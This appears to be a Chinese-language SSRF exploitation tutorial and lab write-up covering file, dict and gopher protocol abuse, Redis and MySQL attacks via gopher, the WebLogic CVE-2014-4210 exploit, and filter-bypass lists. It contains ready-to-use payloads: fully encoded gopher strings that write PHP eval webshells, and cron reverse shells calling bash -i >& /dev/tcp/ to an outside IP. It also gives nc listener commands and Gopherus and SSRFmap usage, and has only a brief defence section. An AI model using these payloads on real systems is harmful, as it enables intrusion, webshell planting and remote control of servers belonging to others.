$result=curl_exec($ch); curl_close($ch); echo ($result);?> http/https协议当前应用获取用户传递过来的url参数后端发送请求,并且将最终的请求结果返回到html前端页面. 12http://192.168.64.149/ssrf.php?url=http://www.baidu.comhttp://192.168.64.149/ssrf.php?url=https://www.baidu.com 但这里需要注意的一点是,当前网站页面返回的内容并非是从当前用户pc端浏览器发送的,而是,服务器端接收到客户端传递过来的url参数,然后在后端服务器代码中通过构造请求发送,最终将结果返回到前端,如果在这里用户传递的是一个内网应用的ip,当前返回的结果: ssrf漏洞服务器所在的内网大小,互通的网段,限制了当前能够获取到资源的数量.如果当前服务器端对请求资源的协议做了限制,那么可以通过https协议进行绕过. 7.2 file协议如果服务器端对请求资源所使用的协议方式没有进行限制,那么就可以通过file协议访问当前服务器的本地文件 12http://192.168.11.135/ssrf.phpurl=file:///etc/passwd 7.3 dict协议通过dict 协议可以远程访问一个指定的tcp 端口,并且会返回端口所提供的服务的部分组件信息当目标端口开放(有服务信息显示,但会报错): 12345http://192.168.64.138/post.php# post\turl=dict://127.0.0.1:6379# gethttp://192.168.64.138/post.php?url=dict://127.0.0.1:6379 当目标端口关闭(无其他回显): 123http://192.168.64.138/post.php# post\turl=dict://127.0.0.1:6379 通过差异的对比,可确认内网端口开放情况 思考:实际干活时,ssrf漏洞该怎么利用来探测内网网段、开放端口及端口服务? gopher 协议Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议.当然现在 Gopher 协议已经慢慢淡出历史.Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用.利用此协议可以攻击内网的FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求.这无疑极大拓宽了 SSRF 的攻击面.利用gopher协议getshell使用ssrf漏洞结合gopher协议攻击内网redis 写一句话木马使用ssrf漏洞将gopher攻击语句传递到内网redis主机 Redis: 是一个key-value型数据库,信息以键对应值的关系储存在内存中,而它算不上是一个真正的数据库,因为 redis 是主要把信息数据存储在内存中(当然也可以把其存储在硬盘上,这也是写shell的必要条件之一).Redis将数据主要保存在内存中,我们可以随时执行save命令将当前的redis数据保存到硬盘上.另外redis也会根据配置自动存储数据到硬盘上,这不得不说到redis的 持久化运作方案,其中说到的一个RDB,一个AOF.RDB更像一个数据库备份文件,而AOF是一个log日志文件.我们可以设置让redis再指定时间、指定更改次数时进行备份,生成RDB文件;而设置AOF,可以在操作或时间过程后将”日志”写入一个文件的最末,当操作越来越多,则AOF文件越来越大.二者是相辅相成的,通过二者的配合我们能够稳定地持久地将数据存储于服务器上. 先构造攻击语句 12345_flushallset x " <?php eval($_POST['redis']);?> "config set dir /var/www/htmlconfig set dbfilename shell.phpsave 命令分析: 命令行 释义 _flushall 清除数据库中的所有数据和keys set x " <?php eval($_POST['redis']);?> " 将变量x的值设置为PHP脚本,该脚本执行了POST请求中redis参数的内容 config set dir /var/www/html 设置数据库文件存储目录为/var/www/html config set dbfilename shell.php 设置数据库备份文件名为shell.php save 执行保存操作,将数据持久化到磁盘文件中 一次URL编码BURP编码,_不需要编码 1%73%65%74%20%78%20%22%5c%6e%5c%6e%5c%6e%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%72%65%64%69%73%27%5d%29%3b%3f%3e%5c%6e%5c%6e%5c%6e%22%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%69%72%20%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%62%66%69%6c%65%6e%61%6d%65%20%72%65%64%69%73%2e%70%68%70%0a%73%61%76%65 将编码中的%0a 换行替换成%0d%0a 回车换行 (因为CRLF) 在 SSRF 攻击中,攻击者通常会构造一个用于访问 Redis 的 URL.Redis 使用一种简单的文本协议进行通信,其中行结束符被定义为 \\r )Carriage Return + Line Feed). 某些防护系统或安全设备会检测并过滤请求中的特殊字符,包括换行符) ).通过将 %0a)URL 编码表示的换行符)替换为 %0d%0a)URL 编码表示的回车符和换行符),可以绕过这样的安全检查. 这种替换之所以有效,是因为在处理 HTTP 请求时,服务器通常会解码 URL 并进行规范化,将 %0d%0a 转换为换行符 \\r .因此,通过使用 %0d%0a,攻击者可以欺骗服务器认为请求是合法的、无害的请求,从而成功触发对 Redis 数据库的访问. 1%73%65%74%20%78%20%22%5c%6e%5c%6e%5c%6e%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%72%65%64%69%73%27%5d%29%3b%3f%3e%5c%6e%5c%6e%5c%6e%22%0d%0d%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%69%72%20%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%0d%0d%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%62%66%69%6c%65%6e%61%6d%65%20%72%65%64%69%73%2e%70%68%70%0d%0d%0a%73%61%76%65 二次URL编码(因为url会对其解码一次,curl再解码一次) 1%25%37%33%25%36%35%25%37%34%25%32%30%25%37%38%25%32%30%25%32%32%25%35%63%25%36%65%25%35%63%25%36%65%25%35%63%25%36%65%25%33%63%25%33%66%25%37%30%25%36%38%25%37%30%25%32%30%25%36%35%25%37%36%25%36%31%25%36%63%25%32%38%25%32%34%25%35%66%25%35%30%25%34%66%25%35%33%25%35%34%25%35%62%25%32%37%25%37%32%25%36%35%25%36%34%25%36%39%25%37%33%25%32%37%25%35%64%25%32%39%25%33%62%25%33%66%25%33%65%25%35%63%25%36%65%25%35%63%25%36%65%25%35%63%25%36%65%25%32%32%25%30%64%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%39%25%37%32%25%32%30%25%32%66%25%37%36%25%36%31%25%37%32%25%32%66%25%37%37%25%37%37%25%37%37%25%32%66%25%36%38%25%37%34%25%36%64%25%36%63%25%30%64%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%32%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%25%32%30%25%37%32%25%36%35%25%36%34%25%36%39%25%37%33%25%32%65%25%37%30%25%36%38%25%37%30%25%30%64%25%30%64%25%30%61%25%37%33%25%36%31%25%37%36%25%36%35 构造Payload,执行利用 123# Post url=gopher://127.0.0.1:6379/_%25%37%33%25%36%35%25%37%34%25%32%30%25%37%38%25%37%38%25%37%38%25%32%30%25%32%32%25%35%63%25%36%65%25%35%63%25%36%65%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%32%66%25%36%32%25%36%39%25%36%65%25%32%66%25%36%32%25%36%31%25%37%33%25%36%38%25%32%30%25%32%64%25%36%39%25%33%65%25%32%36%25%32%30%25%32%66%25%36%34%25%36%35%25%37%36%25%32%66%25%37%34%25%36%33%25%37%30%25%32%66%25%33%34%25%33%33%25%32%65%25%33%31%25%33%33%25%33%38%25%32%65%25%33%37%25%33%37%25%32%65%25%33%32%25%33%35%25%33%32%25%32%66%25%33%36%25%33%36%25%33%36%25%33%36%25%32%30%25%33%30%25%33%65%25%32%36%25%33%31%25%35%63%25%36%65%25%35%63%25%36%65%25%32%32%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%39%25%37%32%25%32%30%25%32%66%25%37%36%25%36%31%25%37%32%25%32%66%25%37%33%25%37%30%25%36%66%25%36%66%25%36%63%25%32%66%25%36%33%25%37%32%25%36%66%25%36%65%25%32%66%25%36%33%25%37%32%25%36%66%25%36%65%25%37%34%25%36%31%25%36%32%25%37%33%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%32%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%25%32%30%25%37%32%25%36%66%25%36%66%25%37%34%25%30%64%25%30%61%25%37%33%25%36%31%25%37%36%25%36%35 反弹Shell通过计划任务写反弹shell必须对/var/spool/cron有写权限 环境搭建12345678910111213# 安装php+nginx环境# 下载安装rediscd /optwget http://download.redis.io/releases/redis-2.8.17.tar.gz# 解压tar zxvf redis-2.8.17.tar.gz# 进入到redis目录cd redis-2.8.17make# 然后进入到src文件夹cd src/# **必须用root权限启动!!!!**nohup ./redis-server & 123456789101112# 创建一个网站,将以下php代码放入到根目录中<?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result);?> 漏洞复现 先构造攻击语句 1234_set xxx " */1 * * * * bash -i>& /dev/tcp/107.173.198.230/6666 0>&1 "config set dir /var/spool/cronconfig set dbfilename rootsave 一次URL编码BURP编码,_不需要编码 1%73%65%74%20%78%78%78%20%22%5c%6e%5c%6e%2a%20%2a%20%2a%20%2a%20%2a%20%62%61%73%68%20%2d%69%3e%26%20%2f%64%65%76%2f%74%63%70%2f%77%77%77%2e%6a%69%61%6e%67%6a%69%79%75%65%2e%63%6f%6d%2f%70%6f%72%74%20%30%3e%26%31%5c%6e%5c%6e%22%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%69%72%20%2f%76%61%72%2f%73%70%6f%6f%6c%2f%63%72%6f%6e%20%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%62%66%69%6c%65%6e%61%6d%65%20%72%6f%6f%74%0a%73%61%76%65 将编码中的%0a 换行替换成%0d%0a 回车换行 1%73%65%74%20%78%78%78%20%22%5c%6e%5c%6e%2a%20%2a%20%2a%20%2a%20%2a%20%62%61%73%68%20%2d%69%3e%26%20%2f%64%65%76%2f%74%63%70%2f%77%77%77%2e%6a%69%61%6e%67%6a%69%79%75%65%2e%63%6f%6d%2f%70%6f%72%74%20%30%3e%26%31%5c%6e%5c%6e%22%0d%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%69%72%20%2f%76%61%72%2f%73%70%6f%6f%6c%2f%63%72%6f%6e%20%0d%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%62%66%69%6c%65%6e%61%6d%65%20%72%6f%6f%74%0d%0a%73%61%76%65 二次URL编码 1%25%37%33%25%36%35%25%37%34%25%32%30%25%37%38%25%37%38%25%37%38%25%32%30%25%32%32%25%35%63%25%36%65%25%35%63%25%36%65%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%36%32%25%36%31%25%37%33%25%36%38%25%32%30%25%32%64%25%36%39%25%33%65%25%32%36%25%32%30%25%32%66%25%36%34%25%36%35%25%37%36%25%32%66%25%37%34%25%36%33%25%37%30%25%32%66%25%37%37%25%37%37%25%37%37%25%32%65%25%36%61%25%36%39%25%36%31%25%36%65%25%36%37%25%36%61%25%36%39%25%37%39%25%37%35%25%36%35%25%32%65%25%36%33%25%36%66%25%36%64%25%32%66%25%37%30%25%36%66%25%37%32%25%37%34%25%32%30%25%33%30%25%33%65%25%32%36%25%33%31%25%35%63%25%36%65%25%35%63%25%36%65%25%32%32%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%39%25%37%32%25%32%30%25%32%66%25%37%36%25%36%31%25%37%32%25%32%66%25%37%33%25%37%30%25%36%66%25%36%66%25%36%63%25%32%66%25%36%33%25%37%32%25%36%66%25%36%65%25%32%30%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%32%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%25%32%30%25%37%32%25%36%66%25%36%66%25%37%34%25%30%64%25%30%61%25%37%33%25%36%31%25%37%36%25%36%35 构造Payload,执行利用 123# Post url=gopher://127.0.0.1:6379/_%25%37%33%25%36%35%25%37%34%25%32%30%25%37%38%25%37%38%25%37%38%25%32%30%25%32%32%25%35%63%25%36%65%25%35%63%25%36%65%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%36%32%25%36%31%25%37%33%25%36%38%25%32%30%25%32%64%25%36%39%25%33%65%25%32%36%25%32%30%25%32%66%25%36%34%25%36%35%25%37%36%25%32%66%25%37%34%25%36%33%25%37%30%25%32%66%25%37%37%25%37%37%25%37%37%25%32%65%25%36%61%25%36%39%25%36%31%25%36%65%25%36%37%25%36%61%25%36%39%25%37%39%25%37%35%25%36%35%25%32%65%25%36%33%25%36%66%25%36%64%25%32%66%25%37%30%25%36%66%25%37%32%25%37%34%25%32%30%25%33%30%25%33%65%25%32%36%25%33%31%25%35%63%25%36%65%25%35%63%25%36%65%25%32%32%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%39%25%37%32%25%32%30%25%32%66%25%37%36%25%36%31%25%37%32%25%32%66%25%37%33%25%37%30%25%36%66%25%36%66%25%36%63%25%32%66%25%36%33%25%37%32%25%36%66%25%36%65%25%32%30%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%32%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%25%32%30%25%37%32%25%36%66%25%36%66%25%37%34%25%30%64%25%30%61%25%37%33%25%36%31%25%37%36%25%36%35 VPS监听 1nc -lvvp 6666 防御 禁用不需要的协议(如:file:///、gopher://,dict://等),仅仅允许http和https请求 统一错误信息,防止根据错误信息判断端口状态 禁止302跳转,或每次跳转,都检查新的Host是否是内网IP,直到抵达最后的网址 设置URL白名单或者限制内网IP Bypass绕过在线生成payload:https://tools.intigriti.io/redirector/ 绕过本地主机1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859## Localhosthttp://127.0.0.1:80http://127.0.0.1:443http://127.0.0.1:22http://127.1:80http://0http://0.0.0.0:80http://localhost:80http://[::]:80/http://[::]:25/ SMTPhttp://[::]:3128/ Squidhttp://[0000::1]:80/http://[0:0:0:0:0:ffff:127.0.0.1]/thefilehttp://①②⑦.⓪.⓪.⓪## CDIR bypasshttp://127.127.127.127http://127.0.1.3http://127.0.0.0## Decimal bypasshttp://2130706433/ = http://127.0.0.1http://017700000001 = http://127.0.0.1http://3232235521/ = http://192.168.0.1http://3232235777/ = http://192.168.1.1## Hexadecimal bypass127.0.0.1 = 0x7f 00 00 01http://0x7f000001/ = http://127.0.0.1http://0xc0a80014/ = http://192.168.0.20# Domain FUZZ bypass (from https://github.com/0x221b/Wordlists/blob/master/Attacks/SSRF/Whitelist-bypass.txt)http://{domain}@127.0.0.1http://127.0.0.1#{domain}http://{domain}.127.0.0.1http://127.0.0.1/{domain}http://127.0.0.1/?d={domain}https://{domain}@127.0.0.1https://127.0.0.1#{domain}https://{domain}.127.0.0.1https://127.0.0.1/{domain}https://127.0.0.1/?d={domain}http://{domain}@localhosthttp://localhost#{domain}http://{domain}.localhosthttp://localhost/{domain}http://localhost/?d={domain}http://127.0.0.1%00{domain}http://127.0.0.1?{domain}http://127.0.0.1///{domain}https://127.0.0.1%00{domain}https://127.0.0.1%0A{domain}https://127.0.0.1?{domain}https://127.0.0.1///{domain} 反斜杠技巧 12url=https://attacker.com\\@victim.com/url=https://attacker.com\\anything@victim.com/ 其他绕过12345678910111213141516171819202122# Malformed URLs and rare addresseslocalhost:+11211aaalocalhost:00011211aaaahttp://0/http://127.1http://127.0.1# Trickshttp://1.1.1.1 &@2.2.2.2# @3.3.3.3/urllib2 : 1.1.1.1requests + browsers : 2.2.2.2urllib : 3.3.3.3filter_var() php function: 0://evil.com:80;http://google.com:80/# Weakparserhttp://127.1.1.1:80\\@127.2.2.2:80/http://127.1.1.1:80\\@@127.2.2.2:80/http://127.1.1.1:80:\\@@127.2.2.2:80/http://127.1.1.1:80#\\@127.2.2.2:80/ SSRF靶场通关https://xn--ivr.net/index.php/archives/19/https://xn--ivr.net/index.php/archives/19/ 123456789101112131415161718# Bypass_302购买一个域名,写一个flag.php<?phpheader("Location:http://127.0.0.1/flag.php");url=http://域名/flag.php# bypass_host url=http://0/flag.php# bypass_dns购买一个域名,修改自己域名的a记录,改成127.0.0.1url=http://域名/flag.php# bypass_@url=http://192.@0/flag.php#138 SSRF+Mysql Getshell前提是无密码的Mysql 1234567891011121314151617181920212223┌──(root㉿kill3r)-[/opt/TOP10/SSRF/Gopherus]└─# python2 gopherus.py --exploit mysql ________ .__ / _____/ ____ ______ | |__ ___________ __ __ ______/ \\ ___ / _ \\\\____ \\| | \\_/ __ \\_ __ \\ | \\/ ___/\\ \\_\\ ( <_> ) |_> > Y \\ ___/| | \\/ | /\\___ \\ \\______ /\\____/| __/|___| /\\___ >__| |____//____ > \\/ |__| \\/ \\/ \\/ author: $_SpyD3r_$For making it work username should not be password protected!!!Give MySQL username: rootGive query to execute: select 0x3c3f706870206576616c28245f504f53545b315d293b203f3e into outfile '/www/wwwroot/192.168.64.138/sh.php';Your gopher link is ready to do SSRF : gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%6f%00%00%00%03%73%65%6c%65%63%74%20%30%78%33%63%33%66%37%30%36%38%37%30%32%30%36%35%37%36%36%31%36%63%32%38%32%34%35%66%35%30%34%66%35%33%35%34%35%62%33%31%35%64%32%39%33%62%32%30%33%66%33%65%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%77%77%77%2f%77%77%77%72%6f%6f%74%2f%31%39%32%2e%31%36%38%2e%36%34%2e%31%33%38%2f%73%68%2e%70%68%70%27%3b%01%00%00%00%01 _后还需要一层 url 编码 123456789101112131415POST /mysql/check.php HTTP/1.1Host: 192.168.64.138Content-Length: 2623Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://192.168.64.138Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://192.168.64.138/mysql/index.phpAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeu=admin&returl=gopher://127.0.0.1:3306/_%25%61%33%25%30%30%25%30%30%25%30%31%25%38%35%25%61%36%25%66%66%25%30%31%25%30%30%25%30%30%25%30%30%25%30%31%25%32%31%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%37%32%25%36%66%25%36%66%25%37%34%25%30%30%25%30%30%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%35%66%25%36%65%25%36%31%25%37%34%25%36%39%25%37%36%25%36%35%25%35%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%66%25%37%32%25%36%34%25%30%30%25%36%36%25%30%33%25%35%66%25%36%66%25%37%33%25%30%35%25%34%63%25%36%39%25%36%65%25%37%35%25%37%38%25%30%63%25%35%66%25%36%33%25%36%63%25%36%39%25%36%35%25%36%65%25%37%34%25%35%66%25%36%65%25%36%31%25%36%64%25%36%35%25%30%38%25%36%63%25%36%39%25%36%32%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%30%34%25%35%66%25%37%30%25%36%39%25%36%34%25%30%35%25%33%32%25%33%37%25%33%32%25%33%35%25%33%35%25%30%66%25%35%66%25%36%33%25%36%63%25%36%39%25%36%35%25%36%65%25%37%34%25%35%66%25%37%36%25%36%35%25%37%32%25%37%33%25%36%39%25%36%66%25%36%65%25%30%36%25%33%35%25%32%65%25%33%37%25%32%65%25%33%32%25%33%32%25%30%39%25%35%66%25%37%30%25%36%63%25%36%31%25%37%34%25%36%36%25%36%66%25%37%32%25%36%64%25%30%36%25%37%38%25%33%38%25%33%36%25%35%66%25%33%36%25%33%34%25%30%63%25%37%30%25%37%32%25%36%66%25%36%37%25%37%32%25%36%31%25%36%64%25%35%66%25%36%65%25%36%31%25%36%64%25%36%35%25%30%35%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%36%66%25%30%30%25%30%30%25%30%30%25%30%33%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%33%30%25%37%38%25%33%33%25%36%33%25%33%33%25%36%36%25%33%37%25%33%30%25%33%36%25%33%38%25%33%37%25%33%30%25%33%32%25%33%30%25%33%36%25%33%35%25%33%37%25%33%36%25%33%36%25%33%31%25%33%36%25%36%33%25%33%32%25%33%38%25%33%32%25%33%34%25%33%35%25%36%36%25%33%35%25%33%30%25%33%34%25%36%36%25%33%35%25%33%33%25%33%35%25%33%34%25%33%35%25%36%32%25%33%33%25%33%31%25%33%35%25%36%34%25%33%32%25%33%39%25%33%33%25%36%32%25%33%32%25%33%30%25%33%33%25%36%36%25%33%33%25%36%35%25%32%30%25%36%39%25%36%65%25%37%34%25%36%66%25%32%30%25%36%66%25%37%35%25%37%34%25%36%36%25%36%39%25%36%63%25%36%35%25%32%30%25%32%37%25%32%66%25%37%37%25%37%37%25%37%37%25%32%66%25%37%37%25%37%37%25%37%37%25%37%32%25%36%66%25%36%66%25%37%34%25%32%66%25%33%31%25%33%39%25%33%32%25%32%65%25%33%31%25%33%36%25%33%38%25%32%65%25%33%36%25%33%34%25%32%65%25%33%31%25%33%33%25%33%38%25%32%66%25%37%33%25%36%38%25%32%65%25%37%30%25%36%38%25%37%30%25%32%37%25%33%62%25%30%31%25%30%30%25%30%30%25%30%30%25%30%31 WebLogic-ssrf(CVE-2014-4210)漏洞概述Oracle WebLogic Server是美国甲骨文)Oracle)公司的一款适用于云环境和传统环境的应用服务器,它提供了一个现代轻型开发平台,支持应用从开发到生产的整个生命周期管理,并简化了应用的部署和管理. Oracle Fusion Middleware 10.0.2.0和10.3.6.0版本的 Oracle WebLogic Server 组件中的 WLS - Web Services 子组件存在安全漏洞.远程攻击者可利用该漏洞读取数据,影响数据的保密性. 类型 描述 漏洞名称 Oracle WebLogic Server SSRF漏洞 威胁类型 SSRF 威胁等级 中 漏洞ID CVE-2014-4210 受影响系统及应用版本 weblogic 10.0.2 – 10.3.6 服务端请求伪造(Server-Side Request Forgery),是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF攻击的目标是从外网无法访问的内部系统.SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制.比如从指定URL地址获取网页文本内容、加载指定地址的图片、文档等等 漏洞复现SSRF漏洞就是通过篡改获取资源的请求发送给服务器,但是服务器并没有发现在这个请求是合法的,然后服务器以他的身份来访问其他服务器的资源. 以下演示的 Weblogic中靶场环境就是由于访问目标网站是的参数是 URL ,且在服务端验证请求时没有对用户请求做出严格的过滤以及限制,导致存在 SSRF 漏洞,可以获取服务器一定量的数据.同时可以进一步实现篡改获取的资源并发送给服务器,下面是通过 6379 端口访问服务器的 redis 服务,并篡改了 /etc/crontab下的信息,将反弹 Shell 的脚本写入了该目录下从而获得 Shell. 靶场搭建 直接在 Centos虚拟机基于 Vulhub 漏洞集成环境生成靶场. 进入 Vulhub 对应的漏洞路径下执行命令docker-compose up -d编译并运行靶场容器 docker ps查看端口 访问http://192.168.164.128:7001/uddiexplorer 端口探测SSRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp,仔细查看发现这里有参数传入的是URL,差不多可以断定就是在这个点存在 SSRF 漏洞了 在 BurpSuite 下抓包测试该漏洞,查询请求的operator参数可以进行端口探测,当我们输入不同值时可得到多种不同的报错信息 通过docker inspect 容器ID 命令查看并确认 redis 服务的容器IP地址: 然后访问http://172.20.0.2:6379返回非 HTTP 协议的报错信息,是因为运行着 redis 服务 以上通过 SSRF漏洞探测内网中的 redis 服务器(docker环境的网段一般是172.*)可以通过写脚本或者BURP爆破内网服务,现在已经发现172.19.0.2:6379可以连通. 反弹Shell接下来就是发送三条 redis 命令,将反弹 shell 的脚本写入目录/etc/crontab)这个目录下是一个默认自动执行的一些 crontab 定时服务命令,里面都写的是一些开启服务的命令): 12345678910# 记得替换下方的ip以及端口testset 1 " * * * * * root bash -i >& /dev/tcp/107.173.198.230/7777 0>&1 "config set dir /etc/config set dbfilename crontabsaveaaa 首先对以上三条 redis 命令进行 url 编码 VPS中监听端口nc -lvvp 6666 将url编码内的%0A替换为%0D%0A%0D%0A1test%0D%0A%0D%0A%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F107.173.198.230%2F7777%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0A%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0A%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0A%0D%0Asave%0D%0A%0D%0A%0D%0A%0D%0Aaaa 成功反弹 可进行利用的cron有如下几个地方: /etc/crontab 这个是肯定的 /etc/cron.d/*将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同.漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell. /var/spool/cron/root centos系统下root用户的cron文件 /var/spool/cron/crontabs/root debian系统下root用户的cron文件 修复方案目前厂商已经发布了升级补丁以修复此安全问题. https://www.oracle.com/technetwork/topics/security/cpujul2014-1972956.htmlhttps://www.oracle.com/technetwork/topics/security/cpujul2014-1972956.html 工具使用自动生成payload的工具 12345678910111213141516171819202122C:\\Users\\kill3r\\Downloads\\Gopherus-master>python2 gopherus.py --exploit redis ________ .__ / _____/ ____ ______ | |__ ___________ __ __ ______/ \\ ___ / _ \\\\____ \\| | \\_/ __ \\_ __ \\ | \\/ ___/\\ \\_\\ ( <_> ) |_> > Y \\ ___/| | \\/ | /\\___ \\ \\______ /\\____/| __/|___| /\\___ >__| |____//____ > \\/ |__| \\/ \\/ \\/ author: $_SpyD3r_$Ready To get SHELL# 你想要什么?What do you want?? (ReverseShell/PHPShell): ReverseShell# 提供你的IP地址通过Revershell与受害者连接(默认是127.0.0.1):Give your IP Address to connect with victim through Revershell (default is 127.0.0.1): 10.10.10.10# 他的Crontab目录位置是什么What can be his Crontab Directory location## For debugging(locally) you can use /var/lib/redis : /etc/ 最后生成的Payload可以直接复制攻击. 漏洞扫描 12345678910111213141516171819202122232425262728293031┌──(root㉿kill3r)-[/opt/TOP10/SSRF/SSRFmap]└─# python ssrfmap.py _____ _________________ / ___/ ___| ___ \\ ___| \\ `--.\\ `--.| |_/ / |_ _ __ ___ __ _ _ __ `--. \\`--. \\ /| _| '_ ` _ \\ / _` | '_ \\ /\\__/ /\\__/ / |\\ \\| | | | | | | | (_| | |_) |\\____/\\____/\\_| \\_\\_| |_| |_| |_|\\__,_| .__/ | | |_| usage: ssrfmap.py [-h] [-r REQFILE] [-p PARAM] [-m MODULES] [-l [HANDLER]] [-v [VERBOSE]] [--lhost LHOST] [--lport LPORT] [--rfiles [TARGETFILES]] [--uagent USERAGENT] [--ssl [SSL]] [--proxy PROXY] [--level [LEVEL]]options: -h, --help:显示帮助信息并退出. -r REQFILE:指定SSRF请求文件. -p PARAM:指定要目标的SSRF参数. -m MODULES:指定要启用的SSRF模块. -l HANDLER:启动反向Shell的处理程序. -v [VERBOSE]:启用详细输出. --lhost LHOST:反向Shell的监听主机. --lport LPORT:反向Shell的监听端口. --uagent USERAGENT:要使用的用户代理. --ssl [SSL]:使用无需验证的HTTPS. --proxy PROXY:使用HTTP(s)代理)例如:http://localhost:8080). --level [LEVEL]:要执行的测试级别)1-5,默认为1).示例: python ssrfmap.py -r data/request2.txt -p url -m portscan python ssrfmap.py -r data/request.txt -p url -m redis python ssrfmap.py -r data/request.txt -p url -m portscan --ssl --uagent "SSRFmapAgent" python ssrfmap.py -r data/request.txt -p url -m redis --lhost=127.0.0.1 --lport=4242 -l 4242 python ssrfmap.py -r data/request.txt -p url -m readfiles --rfiles 截取当前的数据包放置1.txt中 通过工具指定流量包去完成扫描请求 123456789101112131415┌──(root㉿kill3r)-[/opt/TOP10/SSRF/SSRFmap]└─# python -m pip install -r requirements.txt┌──(root㉿kill3r)-[/opt/TOP10/SSRF/SSRFmap]└─# python ssrfmap.py -r 1.txt -p url -m portscan | grep open 